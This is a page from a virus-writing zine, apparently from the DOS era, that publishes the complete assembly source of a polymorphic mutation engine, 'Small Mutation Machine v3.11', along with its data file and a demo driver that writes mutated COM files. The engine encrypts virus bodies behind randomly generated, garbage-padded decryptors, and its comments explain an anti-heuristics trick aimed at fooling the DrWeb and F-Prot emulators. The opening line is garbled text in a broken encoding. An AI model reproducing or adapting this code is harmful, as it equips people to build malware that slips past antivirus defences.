- [Duke's Virus Labs #7] - [Page 41] -

Small Mutation Machine v3.11
(c) by Deviator/HAZARD

      䭮   樥, 饩
᪮쪮 ஢ 䠩.

===== begin smm.asm =====
; SMM Version v.3.11 by Deviator from [HAZARD] Team

; Features:
;  - Higher level of polymorphics.
;  - Creating of calls/jumps
;  - Different encryption type methods (Add/Sub/Xor) with changing key from
;    word to word.
;  - Anti-Heuristics code (if you wish)
;  - Another nice stuff
;  - Optimized alot

; Changes from 3.07
;  - Many bugs fixed
;  - Added forward call routine
;  - Added one variable for reserving register (Resv2)
;  - Different encryption methods (Add/Sub/Xor)
;  - Now Maximum and Minimum garbage numbers stored in variables.
;  - Some constants moved to the start of source (Call number,etc..)

;---------------------------------------------------------------------------
; Input: Ds=Cs=Es
; Ds:Si - Source data to be crypted
; Es:Di - Destination, where to put crypted data with decryptor
; Cx    - Length of data to crypt

; If you want to change decryptor size (and it's speed) change value of
; MaxGarb. MinGarb better leave from 1 to 8.

; Returns:
; Cx    - Decryptor+Source data size
; Es:Di - Filled with crypted data and decryptor
;---------------------------------------------------------------------------

; Principles of SMM work.
; - 1 Step. Choose in which registers do which job. For decryptor needed
;           three different registers which is Counter,Pointer and Keyword.
;           Pointer could be Si,Di,Bx. Counter and Keyword cold be any,
;           except Sp.
; - 2 Step. Creation of decryptor. Decryptor creates byte by byte.
;           Between every byte of decryptor space filled with the garbage.
; - 3 Step. Crypt source data

; Decryptor looks like (when without garbage):

;               call GetOff
;GetOff:        pop Pointer
;               sub Pointer,offset GetOff
;               add Pointer,offset EndOfDecryptor
;               mov Counter,DataLen
;               mov Keyword,Key
;DLoop:         xor/add/sub cs:[Pointer],Keyword
;               dec Counter
;               inc Pointer
;               inc Pointer
;               add Keyword,KeyAdd
;               or Counter,Counter
;               jne NotDcrp
;               jmp EndOfDecryptor
;NotDcrp:       jmp DLoop
;EndOfDecryptor:

; With garbage - between every instruction of decryptor randomed size garbage.

; Where Pointer,Counter,Keyword - different registers and Key,KeyAdd - random
; numbers.

; Yeap, i could throw some code out of decryptor , but wouldn't... ;)

; Decryptors produced by engine is huge(could be) with alot of jumps,calls
; ,etc... So large decryptors works very slowely...

; Bugz: Registers is uncontrolled, so on my i386 when happened opcode
; like mov ax,[Bx+Si] all work well.But when Bx+Si = 0FFFFh system just
; hang-ups... I dont know how to control this...

; If you have any questions - email me at Biodrone2@Hotmail.com

CallN   equ     10                      ; Max. procedures number
InCall  equ     3                       ; Num. of overlaying procedures
InJmp   equ     2                       ; Num. of procedures inside 8bit jmp
InJxn   equ     2                       ; Num. of overlaying jumps
FCalln  equ     5                       ; Max. forward calls number
NoGarb  equ     0                       ; Use this in testing purpose only

;---------------------------------------------------------------------------

smm     proc
        push bp                         ; Get working offset
        call getff
getff:  pop bp
        sub bp,offset getff

        pusha

        push di cx
        xor ax,ax
        lea di,[CCalls][Bp]             ; Clean data variables
        mov cx,DataL
rep     stosb
        pop cx di

        mov ds:[oldsi][bp],si           ; Store values
        mov ds:[olddi][bp],di
        mov ds:[oldcx][bp],cx

        mov ds:[resv][bp],4             ; Mark as non-used
        mov ds:[resv2][bp],4            ; 4 means SP, which is not used
                                        ; in decryptor

; Setup Base Decryptor Registers

NoSp:
        mov ax,8                                ; Setup Counter Register
        call getrnd
        cmp al,4
        jz NoSp
        mov ds:[counter][bp],al                 ; Store counter
;-----------------------------------------------------------------------------
BadPointer:                                     ; Setup Pointer Register
        mov ax,3
        call getrnd
        cmp al,0
        jz TryBx
        add al,5
CheckCounter:
        cmp al,ds:[counter][bp]                 ; Same to Counter ?
        jz BadPointer                           ; Yeap...
        jmp StorePointer
TryBx:
        add al,3
        jmp CheckCounter
StorePointer:
        mov ds:[pointer][bp],al                 ; Store pointer
;-----------------------------------------------------------------------------
BadKey:
        mov ax,8                                ; Choose keyword
        call getrnd
        cmp al,4
        jz BadKey
        cmp al,ds:[Counter][bp]                 ; Check it with counter
        jz BadKey                               ; Equal...
        cmp al,ds:[Pointer][bp]                 ; Now with pointer
        jz BadKey                               ; Equal...
        mov ds:[KeyWord][bp],al                 ; Store keyword
;-----------------------------------------------------------------------------

        lea si,[Decryptor][Bp]

        call MGarb                              ; Create garbage
                                                ; Created garbage doesn't
                                                ; uses any registers which
                                                ; is reserved.

        movsb                                   ; Create call
        mov ds:[Callp][bp],di                   ; Store offset for later patch
        stosw                                   ; Fill up

        call MGarb                              ; Garbage more

        mov ax,di
        mov bx,ds:[Callp][Bp]                   ; Patch newly created call
        sub ax,bx
        dec ax
        dec ax
        mov es:[bx],ax

        call MGarb                              ; Garble...

        lodsb
        add al,ds:[pointer][bp]                 ; Pop pointer
        stosb

        call MGarb                              ; Garble

        lodsw                                   ; Sub Pointer , offset GetOff
        add ah,ds:[Pointer][Bp]
        stosw                                   ; Opcode...

        mov ax,ds:[Callp][Bp]
        sub ax,ds:[OldDi][Bp]                   ; Opcode data
        inc ax
        inc ax
        stosw

        Call MGarb                              ; Garble...

        lodsw                                   ; Add Pointer , offset to Data
        add ah,ds:[Pointer][Bp]
        stosw
        mov ds:[Callp][Bp],di
        stosw

;---------------- Anti Heuristics Trick -------------------

; Simple anti-heuristics trick.
; In all dos which versions higher than 3.00 returns in Ax 00FFh when
; called function 1200h of int 2Fh.
; Code of trick:

; mov ax,1200h
; int 2Fh
; sub ax,0FFh
; add pointer,ax

; In emulation (DrWeb,F-Prot) after int call in ax would be 0. Sub it by 0FFh
; We would get something like -0FFh (large number). When we add this to
; pointer, it would point who knows where...

        cmp ds:[AntiH1][Bp],0
        jz NoTrick1

        Call MGarb

        mov ds:[Resv][Bp],0             ; Reserve Ax (garbage wouldn't
                                        ; trash it)

        push si
        lea si,[AntiH1C][Bp]

        movsw
        movsb

        call MGarb

        movsw

        call MGarb

        movsw

        Call MGarb

        movsb
        movsw

        Call MGarb

        movsb

        mov al,ds:[Pointer][Bp]
        shl al,3
        add al,0C0h
        stosb

        mov ds:[Resv][Bp],4             ; Free up register
        pop si
NoTrick1:
;----------------------------------------------------------
        Call MGarb

        lodsb
        add al,ds:[Counter][Bp]                 ; Move to Counter Number
        stosb
        mov ax,ds:[OldCx][bp]
        shr ax,1
        inc ax
        stosw

        Call MGarb

        call getrnd
        mov ds:[BegCr][bp],ax                   ; Move to KeyWord base key
        push ax
        lodsb
        add al,ds:[KeyWord][Bp]
        stosb
        pop ax
        stosw

        Call MGarb

; Here Begins Creation Of Decryption Loop

        mov ds:[LoopSt][Bp],di

        Call MGarb

        movsb

        push si
        mov ax,3
        call getrnd
        lea si,[Ctbl][Bp]
        shl ax,1
        add si,ax
        movsb
        lodsb
        mov ds:[PatchIt][Bp],al

        mov al,ds:[Pointer][Bp]                 ; Patch for Pointer
        cmp al,3
        jz ItsBx
        sub al,2
        jmp DonePatch
ItsBx:
        mov al,7
DonePatch:
        mov cl,ds:[KeyWord][Bp]
        shl cl,3
        add al,cl
        stosb
        pop si

        Call MGarb

        lodsb
        add al,ds:[Counter][Bp]                 ; Dec Counter
        stosb

        Call MGarb

        lodsb
        add al,ds:[Pointer][Bp]                 ; Inc Pointer
        stosb

        Call MGarb

        lodsb
        add al,ds:[Pointer][Bp]                 ; Inc Pointer
        stosb

        Call MGarb

        lodsw
        add ah,ds:[KeyWord][Bp]                 ; Add KeyWord,AddNum
        stosw
        call GetMax
        mov ds:[AddCr][Bp],ax
        stosw

        Call MGarb

        movsb                                   ; Or Counter,Counter
        mov al,ds:[Counter][Bp]
        shl al,3
        add al,0C0h
        add al,ds:[Counter][Bp]
        stosb

        push si
        mov ax,ds:[MinGarb][Bp]                 ; Fill with anti-flags
        call getrnd                             ; trashing code.
        inc ax
        xchg ax,cx
MakeItq:
        push cx
        call FFriendly
        pop cx
        loop MakeItq
        pop si

        Inc ds:[JCnt][Bp]

        movsb                                   ; Jne xx
        mov ds:[JnePat][Bp],di
        stosb

        call MGarb

        movsb                                   ; Jmp AllDone
        mov ds:[EndPt][Bp],di
        stosw

        Call MGarb

        Dec ds:[JCnt][Bp]

        mov ax,di
        mov bx,ds:[JnePat][Bp]                  ; Patch Jne
        sub ax,bx
        dec ax
        mov es:[bx],al

        Call MGarb

        movsb                                   ; Jmp Loop
        mov ax,ds:[LoopSt][Bp]
        sub ax,di
        dec ax
        dec ax
        stosw

        Call MGarb

        mov ax,di                               ; Patch for End of decryptor
        mov bx,ds:[EndPt][Bp]
        sub ax,bx
        dec ax
        dec ax
        mov es:[bx],ax

        mov ax,di                               ; Patch for End of decryptor
        mov bx,ds:[CallP][Bp]
        sub ax,ds:[OldDi][Bp]
        mov es:[bx],ax

        mov cx,ds:[oldcx][Bp]                   ; Crypt Source
        shr cx,1
        inc cx
        mov si,ds:[oldsi][bp]

        mov bx,ds:[BegCr][Bp]
CryptIt:
        lodsw
Patchit db      ?
        db      0C3h
        stosw
        add bx,ds:[AddCr][Bp]
        loop CryptIt

        Call FinishJob

;---------------------------------------------------------------------
        mov cx,di
        sub cx,ds:[olddi][bp]                   ; Calculate new size
        mov ds:[oldcx][bp],cx
        popa
        mov cx,ds:[oldcx][bp]
        pop bp
        ret
smm     endp
;---------------------------------------------------------------------
GetReg16        proc
        Call GetMax
        push ax
        and al,00111000b
        shr al,3
        cmp al,Ds:[Pointer][Bp]
        jz BadReg
        cmp al,ds:[Counter][BP]
        jz BadReg
        cmp al,ds:[Keyword][Bp]
        jz BadReg
        cmp al,ds:[Resv][Bp]
        jz BadReg
        cmp al,ds:[Resv2][Bp]
        jz BadReg
        cmp al,4
        jz BadReg
        pop ax
        ret
BadReg: pop ax
        jmp GetReg16
GetReg16        endp

GetSize proc
        xor cx,cx

        cmp al,40h
        ja NoCheckIt

        push ax
        and al,10000111b
        cmp al,6
        pop  ax
        jz Byte2

NoCheckIt:
        cmp al,40h
        jb Byte0
        cmp al,80h
        jb Byte1
        cmp al,0C0h
        jae Byte0
Byte2:  inc cx
Byte1:  inc cx
Byte0:  ret
GetSize endp

GetReg8 proc
        Call GetMax
        push ax
        and al,00111000b
        shr al,3
        cmp al,4
        jb NoSub3
        sub al,4
NoSub3: cmp al,ds:[Counter][BP]
        jz BadReg8
        cmp al,ds:[Pointer][Bp]
        jz BadReg8
        cmp al,ds:[KeyWord][Bp]
        jz BadReg8
        cmp al,ds:[Resv][Bp]
        jz BadReg8
        cmp al,ds:[Resv2][Bp]
        jz BadReg8

        pop ax
        ret
BadReg8:
        pop ax
        jmp GetReg8
GetReg8 endp


;---------------------------------------------------------------------
MGarb   proc
        cmp ds:[JCnt][bp],0                     ; Make garbage
        jne Minimum                             ; If there any 8bit jumps ?
        mov ax,ds:[MaxGarb][Bp]                 ; No - give maximum garbage
        jmp MakeGrb
Minimum:
        mov ax,ds:[MinGarb][Bp]                 ; Else - give minimum garbage
MakeGrb:
        call getrnd                             ; Get rnd from 0 to GarbSize
        inc ax                                  ; Increase to skip zero
        xchg ax,cx                              ; Cx = Ax
CreateIt:
        push cx
        call GG                                 ; Make opcode
        pop cx
        loop CreateIt                           ; Next one
        ret
MGarb   endp
;---------------------------------------------------------------------
MTable:                                         ; Main table
        dw      offset TwoThreeFour16           ; 16bit diff. size opcodes
        dw      offset Imm16                    ; Immediatly 16bit regs moves
        dw      offset AxZero                   ; Inc/Dec 16 bit regs
        dw      offset AxXchg                   ; Xchg Ax,Reg
        dw      offset AxImm16                  ; Ax reg opcodes generation
        dw      offset jxx                      ; Case jumps creation
        dw      offset MakeCall                 ; Procedure creation
        dw      offset PFCall                   ; Patch forward call

        dw      offset MakeInt                  ; Int encode
        dw      offset TwoThreeFour8            ; 8Bit diff. size opcodes
        dw      offset PutCall                  ; Put call to procedures
        dw      offset Imm8                     ; Immediatly 8bit opcodes
        dw      offset OneByters                ; One-Byters
        dw      offset FCall                    ; Create forward call
        dw      offset MakeRol                  ; Shl/Shr/Sar/Rol/etc..
        dw      offset MakeIn                   ; In Al,Port8
TEntries        equ     16
;---------------------------------------------------------------------

Oldz    dw      ?

GG      proc
        push si

GGz:
If      NoGarb
        ret
EndIf
        mov ax,TEntries                         ; Any reserved register used ?
        cmp ds:[ResV][Bp],4                     ; If yes, dont use 8 bit
        jne Subitq                              ; codes and call creation.
        cmp ds:[ResV2][Bp],4
        jz NoSubq

; Skip 8 bit - couse could be reserved Ax+Bx+Cx+Dx and it would produce
; forever loop.
; Skip call creation - we could use some reserved register.
; But it was probably used in previous procedure, so after call it would be
; trashed.

Subitq: sub ax,6
NoSubq:
        call getrnd                             ; Get Rnd
        cmp ds:[Oldz][Bp],ax                    ; Previous was same ?
        jz GGz                                  ; Again plz...
MakeIt4:
        mov ds:[Oldz][Bp],ax                    ; Store current

        shl ax,1
        lea si,ds:[MTable][bp]
        add si,ax
        mov ax,[si]                             ; Get procedure offset
        add ax,bp
        call ax                                 ; Call Procedure
        pop si
        ret
GG      endp
;---------------------------------------------------------------------
FTable  dw      offset Imm16                    ; Another table
        dw      offset AxXchg
        dw      offset MakeCall
        dw      offset PFCall

        dw      offset Imm8
FEntries        equ     5

FFriendly       proc                    ; Creating of anti-flag-trashing
If      NoGarb                          ; opcodes.
        ret
EndIf
        mov ax,FEntries
        cmp ds:[Resv][Bp],4
        jne SubIt2
        cmp ds:[Resv2][Bp],4
        jz NoSub2
SubIt2: sub ax,1
NoSub2: call getrnd
        shl ax,1
        lea si,ds:[FTable][Bp]          ; Get offset
        add si,ax
        mov ax,ds:[Si]
        add ax,bp                       ; Call procedure
        call ax
        ret
FFriendly       endp
;---------------------------------------------------------------------
OneByters:                              ; One byters creation
        mov ax,OneByteL
        call getrnd
        xchg ax,si
        lea si,ds:[OneByte][bp][Si]     ; Get it from table
        movsb
        ret
OneByte db      02Eh,03Eh,0F8h,0F9h,0FBh,0FCh,0FDh,026h,36h
OneByteL        equ     $ - OneByte
;---------------------------------------------------------------------
TwoThreeFour16:                         ; Diff. size opcodes encoding

        call GetReg16                   ; Choose second byte
        push ax

        Call CheckBp

        mov ax,NormOpL
        call getrnd
        xchg ax,si
        lea si,ds:[NormOp][bp][Si]
        movsb                           ; Get first byte

        pop ax

        stosb
        Call GetSize

        or cx,cx                        ; If there any additional bytes ?
        jz ReturnIt                     ; Nope ...
FillUp:
        call GetMax                     ; Create it...
        stosb
        loop FillUp
ReturnIt:
        ret

NormOp  db      03h,13h,23h,33h,0Bh,1Bh,2Bh,3Bh
NormOpl equ     $ - NormOp
;---------------------------------------------------------------------
TwoThreeFour8:
        call GetReg8
        push ax

        Call CheckBp

        mov ax,NormOp8L                 ; Same that TwoThreeFour16
        call getrnd                     ; but for 8bit regs
        xchg ax,si
        lea si,ds:[NormOp8][bp][Si]
        movsb

        pop ax
        stosb
        Call GetSize

        or cx,cx
        jz ReturnIt8
FillUp8:
        call GetMax
        stosb
        loop FillUp8
ReturnIt8:
        ret

NormOp8 db      02h,12h,22h,32h,0Ah,1Ah,2Ah,3Ah
NormOp8l equ    $ - NormOp8
;---------------------------------------------------------------------
iMM16:
        call ChooseReg                  ; Choose register
        add al,0B8h                     ; Add "mov ax,xxxx"
        stosb                           ; and we would get "add reg,xxxx"
        call GetMax
        stosw                           ; Random data
        ret
;---------------------------------------------------------------------
iMM8:
        mov ax,8                        ; Immediatly 8..

        call getrnd                     ; Get reg
        mov bx,ax

        cmp al,4                        ; More then Bx ?
        jb NoSub
        sub al,4                        ; Make it smaller (Ah=Al,Ch=Cl,etc)
NoSub:
        Call CReg                       ; Check if reg is used
        jz iMM8

        add al,0B0h                     ; Nope...
        stosb                           ; Encode Mov reg8,xx

        call GetMax
        stosb

        ret

;---------------------------------------------------------------------
AxZero:
        call ChooseReg                  ; Get reg
        push ax
        mov ax,2
        call getrnd
        shl ax,3
        pop cx
        add ax,cx
        add al,40h                      ; Encode Inc/Dec Reg
        stosb
        ret
;---------------------------------------------------------------------
AxXchg: xor ax,ax
        Call CReg
        jz BadSituation
        call ChooseReg                  ; Encode xchg ax,reg
        add al,90h
        stosb
BadSituation:
        ret
;---------------------------------------------------------------------
ChooseReg       proc
        mov ax,8
        Call getrnd                     ; Get random register
        Call CReg
        jz ChooseReg
        ret                             ; Return it in al
ChooseReg       endp
;---------------------------------------------------------------------

AxImm16:                                ; Add,Sub,etc... with ax
        xor ax,ax
        Call CReg
        jz AxUsed
ChooseReg2:
        mov ax,AxTl
        call getrnd
        xchg ax,si
        lea si,ds:[AxT][bp][Si]
        movsb
        call GetMax
        stosw
AxUsed:
        ret

AxT     db      05h,15h,25h,35h,0Dh,1Dh,2Dh,3Dh,0A9h,0A1h
AxTl    equ     $ - AxT
;---------------------------------------------------------------------
jxx:                                            ; Forward case jumps
        inc ds:[JCnt][Bp]                       ; Increase jumps number

        cmp ds:[Jcnt][Bp],InJxN                 ; If it reached maximum
        ja RestoreJx                            ; at one time ?

        mov ax,16                               ; Get one of 16 diff. jxx
        call getrnd
        add al,70h                              ; Encode it
        stosb
        push di                                 ; Store for later patch
        stosb

        call MGarb                              ; Create garbage

        mov ax,di
        pop si
        sub ax,si
        dec al
        mov es:[si],al
RestoreJx:
        dec  ds:[Jcnt][bp]
        ret

;---------------------------------------------------------------------
MakeCall:
        mov ax,ds:[cnum][bp]                    ; Get current call numbers
        cmp ax,InCall                           ; creating at one time
        jae CallsGone                           ; More then InCall ?

        cmp ds:[CallsNum][Bp],CallN     ; More then table space aviable ?
        jae CallsGone

        cmp ds:[JCnt],InJmp                     ; Are we inside Jxx proc ?
        jae CallSGone                   ; If yes , could we create proc ?

        inc ds:[cnum][bp]                       ; All ok... Increase proc num

        mov al,0E9h                             ; Encode Jmp near
        stosb
        push di                                 ; Store for later patch
        stosw

        call GG                                 ; Create one logical opcode

        push di                                 ; Store offset of procedure

        call MGarb                              ; Garble it

        mov al,0C3h                             ; Encode retn
        stosb

        call GG                                 ; Another opcode

        mov ax,ds:[CallsNum][Bp]                ; Store offset of proc
        shl ax,1                                ; in table
        lea si,ds:[CCalls][Bp]
        add si,ax
        pop ax
        mov cs:[si],ax

        mov ax,di                               ; Patch call procedure
        pop si
        sub ax,si
        dec ax
        dec ax
        mov es:[si],ax

        dec  ds:[Cnum][bp]
        inc  ds:[CallsNum][Bp]

CallsGone:
        ret
;---------------------------------------------------------------------
PutCall:                                        ; Put call to procedure
        mov ax,ds:[CallsNum][bp]
        or ax,ax
        jz CallsGone                            ;( No procedures created !

        call GetRnd                             ; Get random procedure

        shl ax,1
        lea si,ds:[CCalls][bp]
        add si,ax

        mov al,0E8h                             ; Encode Call
        stosb

        lodsw

        sub ax,di                               ; Patch offset
        dec ax
        dec ax
        stosw

        ret
;---------------------------------------------------------------------
MakeInt:                                        ; Make Int
        cmp ds:[UseInt][Bp],0
        jz NoInts
        xor ax,ax
        Call Creg                               ; Ax used ?
        jz NoInts

        mov ax,iTbls
        call getrnd                             ; Get random int func. from
        shl ax,1
        xchg ax,si
        lea si,[iTbl][Bp][Si]                   ; table
        mov al,0B4h                             ; encode mov ah,FuncNum
        stosb
        movsb
        mov al,0CDh                             ; encode int FuncInt
        stosb
        movsb
NoInts:
        ret
iTbl    db      0Bh,21h                         ; Function,Int
        db      19h,21h
        db      4Dh,21h
        db      54h,21h
        db      14h,12h
iTbls   equ     ($-iTbl)/2
;---------------------------------------------------------------------
FCall:  cmp ds:[CNum][Bp],0                     ; Create forward call
        jne NoMake                              ; We're inside procedure ?

        mov ax,ds:[FCallp][Bp]                  ; Get number of forward
        cmp ax,FCalln                           ; call offsets
        jae NoMake                      ; More then aviable table space ?

        cmp ds:[FCallpt][Bp],0                  ; We're creating another
        jne NoMake                              ; forward procedure ?

        shl ax,1
        lea si,[FCallT][Bp]                     ; Nope... Lets point to
        add si,ax                               ; free part of table

        mov al,0E8h                             ; Encode Call
        stosb
        mov ds:[si],di                          ; Store offset for later
        stosw                                   ; pach

        inc ds:[FCallp][Bp]             ; Increase number of fwrd .calls

NoMake: ret
;---------------------------------------------------------------------
PFCall:                                         ; Patch forward call
        mov ax,ds:[FCallp][Bp]                  ; If there any waiting
        or ax,ax                                ; to be patched ?
        jz NoMake2

        cmp ds:[FCallpt][Bp],0                  ; We're patching now ?
        jne NoMake2

        inc ds:[FCallpt][Bp]                    ; Lets patch

        mov al,0E9h                             ; Encode Jmp near
        stosb
        push di
        stosw

        call GG                                 ; One byte garble

        push di

        call MGarb                              ; Make garbage

        mov al,0C3h                             ; Encode ret
        stosb

        call GG                                 ; Garble

        mov ax,ds:[FCallP][Bp]
        dec ax
        shl ax,1
        lea si,ds:[FCallT][Bp]
        add si,ax
        lodsw
        mov si,ax                               ; Patch Call
        pop bx
        sub ax,bx
        inc ax
        inc ax
        neg ax
        mov es:[si],ax

        mov ax,di                               ; Patch jmp
        pop si
        sub ax,si
        dec ax
        dec ax
        mov es:[si],ax

        dec ds:[FCallp][Bp]
        dec ds:[FCallpt][Bp]
NoMake2:
        ret
;---------------------------------------------------------------------
MakeRol:mov ax,8
        Call GetRnd
        cmp al,6
        jz MakeRol
        push ax
        Call ChooseReg
        push ax
        mov al,0D1h
        stosb
        pop  ax
        pop  bx
        shl  bl,3
        add  bl,0C0h
        add  al,bl
        stosb
        ret
;---------------------------------------------------------------------
MakeIn: xor ax,ax
        Call CReg
        jz SkipIn
        push si
        Mov ax,InTblL
        Call GetRnd
        xchg ax,si
        lea si,[Si][Bp][InTbl]
        mov al,0E4h
        stosb
        movsb
        pop  si
SkipIn: ret

InTbl   db      21h                     ; Interrupt controller
        db      40h                     ; Timer 1
        db      41h                     ; Timer 2
        db      00h                     ; DMA 0
        db      01h                     ; DMA 0
        db      02h                     ; DMA 1
        db      03h                     ; DMA 1
        db      04h                     ; DMA 2
        db      05h                     ; DMA 2
        db      06h                     ; DMA 3
        db      07h                     ; DMA 3
        db      60h                     ; Get char
InTbll  equ     $ - InTbl
;---------------------------------------------------------------------
;---------------------------------------------------------------------
;---------------------------------------------------------------------
FinishJob       proc                            ; Check if there any
        mov cx,ds:[FCallP][Bp]                  ; unfinished forward
        or cx,cx                                ; calls ?
        jz NoFinish
LMakez: push cx
        call PFCall
        pop  cx
        loop LMakez
NoFinish:
        ret
FinishJob       endp
;---------------------------------------------------------------------
CReg    proc
        cmp ds:[Counter][bp],al         ; Reg used ?
        jz CregDone
        cmp ds:[Pointer][Bp],al
        jz CregDone
        cmp ds:[KeyWord][bp],al
        jz CregDone
        cmp ds:[ResV][Bp],al
        jz CregDone
        cmp ds:[ResV2][Bp],al
        jz CregDone
        cmp al,4
CRegDone:
        ret
Creg    endp
;---------------------------------------------------------------------
CheckBp proc
        mov cx,24
        mov ah,2
CheckBp1:
        cmp al,ah
        jz MakePr
        add ah,8
        loop CheckBp1

        mov cx,24
        mov ah,3
CheckBp2:
        cmp al,ah
        jz MakePr
        add ah,8
        loop CheckBp2

        mov cx,(0C0h-40h)/8
        mov ah,46h
CheckBp3:
        cmp al,ah
        jz MakePr
        add ah,8
        loop CheckBp3

        jmp NoPrefix

MakePr: mov ax,2
        Call Getrnd
        dec ax
        jz MakeEs
        mov al,3Eh
        stosb
        ret
MakeEs: mov al,26h
        stosb
        ret
NoPrefix:
        ret
CheckBp endp
;---------------------------------------------------------------------
RandSeed        dd       0              ; For random number generator

Randomize       proc    near
        pusha
        push es

        push 040h
        pop es
        mov ax,es:[6Ch]                 ; Get from timer current time
        mov bx,es:[6Ch]
        xor bx,ax
        neg bx
                                        ; Store time
        mov word ptr cs:[RandSeed][bp],ax
        mov word ptr cs:[RandSeed][bp][2],bx
        pop es
        popa
        ret
Randomize       endp

getrnd          proc                    ; Get's random value
                push dx
                push di si cx bx        ; Save used registers
                mov      cx,ax          ; save limit
                mov      ax,Word ptr cs:[RandSeed+2][bp]
                mov      bx,Word ptr cs:[RandSeed][bp]
                mov      si,ax          ; Lets make some manipulations
                mov      di,bx          ; with old random value
                mov      dl,ah
                mov      ah,al          ; Exchange it
                mov      al,bh
                mov      bh,bl
                xor      bl,bl
                rcr      dl,1           ; Rotate it
                rcr      ax,1
                rcr      bx,1
                add      bx,di
                adc      ax,si
                add      bx,62e9h       ; Add it
                adc      ax,3619h
                                        ; Store new value
                mov      word ptr cs:[RandSeed][bp],bx
                mov      word ptr cs:[RandSeed+2][bp],ax
                xor      dx,dx          ; If we divide by maximum needed
                                        ; value , in Dx we would get
                                        ; number which in area of 0 <-> Limit
                or cx,cx
                jnz YeapLimit
                mov dx,ax
                jmp NoLimit
YeapLimit:
                div      cx
NoLimit:
                pop      bx cx si di
                mov      ax,dx          ; return modulus
                pop dx
                ret
getrnd          EndP
;---------------------------------------------------------------------
CTbl    db      31h
        db      33h

        db      01h
        db      2Bh

        db      29h
        db      03h
;---------------------------------------------------------------------
GetMax  proc
        xor ax,ax
        Call GetRnd
        ret
GetMax  endp

Decryptor:
        db      0E8h            ; Call
        db      58h             ; Pop Pointer
        db      81h,0E8h        ; Sub pointer
        db      81h,0C0h        ; Add pointer
        db      0B8h            ; Mov Counter
        db      0B8h            ; Mov Keyword
        db      2Eh             ; Xor/Add/Sub...
        db      48h             ; Dec counter
        db      40h             ; Inc Pointer
        db      40h             ; Inc Pointer
        db      81h,0C0h        ; Add Keyword
        db      0Bh             ; Or Counter,Counter
        db      75h             ; Jne
        db      0E9h            ; Jmp
        db      0E9h            ; Jmp

AntiH1C db      0B8h,00,12h     ; Mov Ax,1200h
        db      0CDh,2Fh        ; Int 2Fh
        db      0B4h,00h        ; Mov Dh,0
        db      2Dh,0FFh,0      ; Sub Dx,0FFh
        db      03              ; Add Pointer,Ax
===== end   smm.asm =====

===== begin smm.dat =====
MaxGarb         dw      10
MinGarb         dw      4
AntiH1          db      0
UseInt          db      1

ccalls          dw      CallN+2 dup (?)
cnum            dw      ?
CallsNum        dw      ?

oldsi   dw      ?
olddi   dw      ?
oldcx   dw      ?

counter db      ?
pointer db      ?
keyword db      ?
resv    db      ?
resv2   db      ?

JPatch  dw      ?
JCnt    db      ?

CallP   dw      ?
LoopSt  dw      ?
JnePat  dw      ?
EndPt   dw      ?

BegCr   dw      ?
AddCr   dw      ?

FCallT  dw      FCalln+2 dup (?)
FCallP  dw      ?

FCallPt db      ?

DataL   equ     $ - CCalls
===== end   smm.dat =====

===== begin main.asm =====
.model tiny
.286
.code
        org 100h
main:
        call getbp
getbp:  pop bp
        sub bp,offset getbp

        mov ah,9
        lea dx,[mesg][bp]
        int 21h

        mov cx,9

        call randomize                  ; this must do not in machine !
                                        ; because decryptors generated
                                        ; in small period of time would
                                        ; be identical

        mov ds:[MaxGarb][Bp],10
        mov ds:[MinGarb][Bp],3
        mov ds:[AntiH1][Bp],1
generate:
        push cx
        lea di,[free][bp]
        lea si,[proggy][bp]
        mov cx,proggyl
        call smm
        push cx
        inc byte ptr cs:[fname][bp]
        mov ah,3ch
        lea dx,[fname][bp]
        xor cx,cx
        int 21h
        xchg ax,bx
        mov ah,40h
        pop cx
        lea dx,[free][bp]
        int 21h
        mov ah,3eh
        int 21h
        pop cx
        loop Generate
        int 20h

fname   db      '0.com',0

proggy: call rrr
rrr:    pop bp
        sub bp,offset rrr
        mov ah,9
        lea dx,[mes][bp]
        int 21h
        int 20h
mes     db      'Simple Mutation Machine v.3.11 generated decryptor demo.',10,13
        db      ' Deviator [HAZARD]',10,13,'$'
proggyl equ     $ - proggy
mesg    db      'Simple Mutation Machine v.3.11 Demo',10,13
        db      ' Deviator [HAZARD] ',10,13,'$'

include smm.asm
include smm.dat
free:
end     main
===== end   main.asm =====
